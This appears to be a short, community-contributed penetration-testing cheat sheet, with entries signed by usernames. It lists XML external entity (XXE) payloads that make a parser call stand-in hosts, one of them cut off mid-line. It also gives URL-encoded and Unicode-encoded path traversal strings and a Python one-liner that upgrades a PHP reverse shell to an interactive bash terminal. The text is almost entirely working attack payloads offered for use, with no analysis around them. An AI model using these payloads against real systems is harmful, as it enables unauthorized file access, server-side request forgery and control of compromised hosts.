honoki

<?xml version="1.0" encoding="utf-8" standalone="no" ?><!DOCTYPE x SYSTEM "http://xxe-doctype-system.yourdomain[.]com/"><x />
<?xml version="1.0" encoding="utf-8" standalone="no" ?><!DOCTYPE x PUBLIC "" "http://xxe-doctype-public.yourdomain[.]com/"><x />
<?xml version="1.0" encoding="utf-8" standalone="no" ?><!DOCTYPE x [<!ENTITY xxe SYSTEM "http://xxe-entity-system.yourdomain[.]com/">]><x>&xxe;</x>
<?xml version="1.0" encoding="utf-8" standalone="no" ?><!DOCTYPE x [<!ENTITY xxe PUBLIC "" "http://xxe-entity-public.yourdomain[.]com/">]><x>&xxe;</x>
<?xml version="1.0" encoding="utf-8" standalone="no" ?><!DOCTYPE x [<!ENTITY % xxe SYSTEM "http://xxe-paramentity-system.yourdomain[.]com/">%xxe;]><x/>
<?xml version="1.0" encoding="utf-8" standalone="no" ?><!DOCTYPE x [<!ENTITY % xxe PUBLIC "" "http://xxe-paramentity-public.yourdomain[.]com/">%xxe;]><x/>
<?xml version="1.0" encoding="utf-8" standalone="no" ?><x xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://xxe-xsi-schemalocation.y

SleepyLctl

Encoded Traversal Strings:

../
..\
..\/
%2e%2e%2f
%252e%252e%252f
%c0%ae%c0%ae%c0%af
%uff0e%uff0e%u2215
%uff0e%uff0e%u2216

suplo

Solution to su: must be run from a terminal when working in reverse shell (PHP).

echo "import pty; pty.spawn('/bin/bash')" > /tmp/asdf.py
python /tmp/asdf.py

Reference